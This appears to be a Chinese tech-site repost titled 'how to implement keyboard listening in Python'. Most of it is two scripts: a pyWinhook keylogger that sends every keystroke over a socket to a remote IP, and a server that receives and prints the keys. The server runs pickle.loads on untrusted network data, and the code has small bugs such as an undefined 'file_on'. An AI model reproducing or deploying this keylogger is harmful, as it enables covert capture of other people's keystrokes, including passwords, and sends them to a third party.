您好,登錄后才能下訂單哦!
小編給大家分享一下python怎么實(shí)現(xiàn)監(jiān)聽(tīng)鍵盤,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
1、簡(jiǎn)單易用,與C/C++、Java、C# 等傳統(tǒng)語(yǔ)言相比,Python對(duì)代碼格式的要求沒(méi)有那么嚴(yán)格;2、Python屬于開(kāi)源的,所有人都可以看到源代碼,并且可以被移植在許多平臺(tái)上使用;3、Python面向?qū)ο?,能夠支持面向過(guò)程編程,也支持面向?qū)ο缶幊蹋?、Python是一種解釋性語(yǔ)言,Python寫的程序不需要編譯成二進(jìn)制代碼,可以直接從源代碼運(yùn)行程序;5、Python功能強(qiáng)大,擁有的模塊眾多,基本能夠?qū)崿F(xiàn)所有的常見(jiàn)功能。
python實(shí)現(xiàn)監(jiān)聽(tīng)鍵盤,供大家參考,具體內(nèi)容如下實(shí)現(xiàn)服務(wù)端
import pickle from io import BytesIO import socket #接收數(shù)據(jù) def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的數(shù)據(jù) recieved_message = b'' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try: obj = pickle.loads(recieved_message) print(obj['Key'],end=' ') except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name,'wb') recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__': Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽(tīng)程序
#鍵盤監(jiān)聽(tīng) import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try: msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key['MessageName'] = event.MessageName dict_key['Key'] = event.Key Client_PIC('你自己的ip地址',6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__': Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運(yùn)行(先運(yùn)行服務(wù)端,而后運(yùn)行監(jiān)聽(tīng)程序)
以上是“python怎么實(shí)現(xiàn)監(jiān)聽(tīng)鍵盤”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。